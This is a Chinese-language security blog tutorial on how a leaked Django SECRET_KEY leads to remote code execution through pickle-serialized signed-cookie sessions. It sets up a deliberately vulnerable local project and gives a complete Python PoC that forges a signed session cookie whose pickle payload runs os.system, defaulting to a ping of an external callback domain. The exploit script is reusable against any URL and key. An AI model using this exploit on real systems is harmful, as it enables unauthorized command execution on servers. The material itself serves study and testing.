标签 Django安全 下的文章

Django的Secret Key泄漏导致的命令执行实践

0x01 Secret Key的用途和泄漏导致的攻击面

Secret Key主要用于加密、签名,下面是官方文档的说明:

The secret key is used for:

  • All sessions if you are using any other session backend thandjango.contrib.sessions.backends.cache, or are using thedefaultget_session_auth_hash().
  • All messages if you are using CookieStorage orFallbackStorage.
  • All PasswordResetView tokens.
  • Any usage of cryptographic signing, unless a different key is provided.

Secret Key泄漏可能的攻击面:

  • 远程代码执行,如果使用了cookie-based sessions。当然其他可以操作session_data的问题都可能导致
  • 任意密码重置,contrib.auth.token.
  • CSRF
  • ...

我们主要关注远程代码执行这个点。

0x02 Django Session的几种方式

  • 数据库(database-backed sessions)

如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是session_key,服务端会根据这个session_key来查询数据库,从而获取到session_data。就是说session_data是存在服务端的。

cooke_session.png

  • 缓存(cached sessions)
  • 文件系统(file-based sessions)
  • Cookie(cookie-based sessions)

当Django使用了这种方式的时候,和其它几种方式不同的是,它将session_data也是存在于cookie中的,即存在于客户端的。但它是经过签名的,签名依赖于django 的Secret Key,所以如果我们知道了Secret Key将可能修改session_data。这也是我们将要讨论的重点。

0x03 环境准备

关于通过操作session来实现命令执行有一个很好的案例。在学习Pickle反序列化的时候就看过,其中的关键是Django在取得session_data之后,需要进行反序列化操作才能获取其中的数据。所以,如果能有机会操作session_data,就有可能导致代码执行。

而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:

  1. 使用了cookie-based sessions
  2. 使用了serializers.PickleSerializer

注:Django1.5级以下,session默认是采用pickle执行序列号操作django.contrib.sessions.serializers.PickleSerializer;在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer

Djgano测试环境部署:

#命令行下运行如下命令来创建项目
django-admin startproject testproject

#在项目中创建应用
cd testproject
python manage.py startapp testapp

#在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件!
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
#因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。

urls.py的内容如下:

from django.conf.urls import url
from django.contrib import admin
from testapp import views

urlpatterns = [
    url(r'.*$', views.index),
    url(r'^admin/', admin.site.urls),
]

views.py中的内容如下:

# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.
def index(request):
    x= request.session
    print x.values
    print dir(x)
    print x.serializer
    print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列
    return HttpResponse(x)

注意:必须要有尝试从session中取数据的行为,Django才会去执行反序列,否则将不能触发!所以实际的环境中,最好选择用户信息相关接口等一定会取数据的接口进行测试。

以上就完成了环境的准备,运行python manage.py runserver启动服务。

0x04 PoC及验证

关于Pickle PoC的生成方法,可以参考我之前的文章Python Pickle的任意代码执行漏洞实践和Payload构造

poc.py的内容如下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
    proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers,proxies = proxy)
    #print response.content

if __name__ == '__main__':
    url = 'http://127.0.0.1:8000/'
    SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link'
    exp(url,SECRET_KEY,command)

运行poc.py时,后台的输出结果:

success.png

print x['userid']对应了2个动作,一是反序列化,也就是执行系统命令的关键;二是取值,这里是取值失败打印了错误信息,但是这已经不重要了,因为我们已经实现了我们的目的。

PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用signing.dumps,也可单独使用pickle.dumps然后加上其他操作,但是最好使用第一种,这样可以很好地保证Payload的正确性。而且实际的环境中,如果能获取到目标的具体版本,最好通过配置相应版本的环境来完成PoC的生成。

本文环境和代码的下载地址:

0x05 参考